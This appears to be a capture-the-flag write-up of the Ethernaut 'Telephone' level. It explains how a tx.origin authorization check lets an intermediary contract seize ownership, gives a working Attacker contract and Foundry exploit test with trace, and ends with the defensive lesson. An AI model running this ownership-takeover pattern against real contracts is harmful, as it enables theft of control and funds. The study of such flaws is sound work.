We need to claim ownership of the contract below to complete this level:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Analysis Link to heading
The changeOwner
function requires that tx.origin != msg.sender
.
We know that tx.origin
always refers to the EOA (externally
owned account) that started the transaction irrespective of the
stack of contracts invoked:
%%{init: {'theme':'neutral'}}%%
sequenceDiagram
actor P as Player
participant A as Attacker
participant T as Telephone
P->>A: new()
activate A
P->>A: run()
A->>T: changeOwner(msg.sender)
Note right of A: msg.sender = Player
Note right of A: tx.origin = Player
Note right of T: msg.sender = Attacker
Note right of T: tx.origin = Player
deactivate A
Exploit Link to heading
To exploit this vulnerability, we only need one intermediary smart contract:
contract Attacker {
function run(Telephone level) public {
level.changeOwner(msg.sender);
}
}
This time we’ll use another startPrank
function that takes 2
arguments and sets the tx.origin
as well:
function startPrank(address, address) external;
See the Cheatcodes Reference for details.
function exploit() internal override {
vm.startPrank(player, player);
new Attacker().run(level);
vm.stopPrank();
}
The trace:
$ forge test --match-contract TelephoneTest -vvvv
Running 1 test for src/test/Telephone.t.sol:TelephoneTest
[PASS] testTelephone() (gas: 306619)
Traces:
[306619] TelephoneTest::testTelephone()
├─ [169662] TelephoneTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [157314] Ethernaut::createLevelInstance(TelephoneFactory: [...])
│ │ ├─ [105751] TelephoneFactory::createInstance(player: [...])
│ │ │ ├─ [73234] → new Telephone@"0x037f…dd8f"
│ │ │ │ └─ ← 255 bytes of code
│ │ │ └─ ← Telephone: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Telephone: [...])
│ │ └─ ← Telephone: [...]
│ └─ ← Telephone: [...]
├─ [303] Telephone::owner() [staticcall]
│ └─ ← TelephoneFactory: [...]
├─ [0] VM::startPrank(player: [...], player: [...])
│ └─ ← ()
├─ [50499] → new Attacker@"0xa2f9…f3a7"
│ └─ ← 252 bytes of code
├─ [1159] Attacker::run(Telephone: [...])
│ ├─ [544] Telephone::changeOwner(player: [...])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [4346] Ethernaut::submitLevelInstance(Telephone: [...])
│ ├─ [1299] TelephoneFactory::validateInstance(Telephone: [...], player: [...])
│ │ ├─ [303] Telephone::owner() [staticcall]
│ │ │ └─ ← player: [...]
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: TelephoneFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; finished in 996.63µs
Summary Link to heading
- Never use
tx.origin
for authorization. - Use the
msg.sender
instead if you need to authorize a direct caller.
References Link to heading
- Phishing with tx.origin from Solidity by Example.
- Security
considerations about
tx.origin
from Solidity docs. - About
tx.origin
in Ethereum Smart Contract Best Practices from Consensys. - SWC-115 – Authorization through
tx.origin
.
I’ll leave the code for this level here.
Let’s continue to the next challenge – Ethernaut, #6 Token!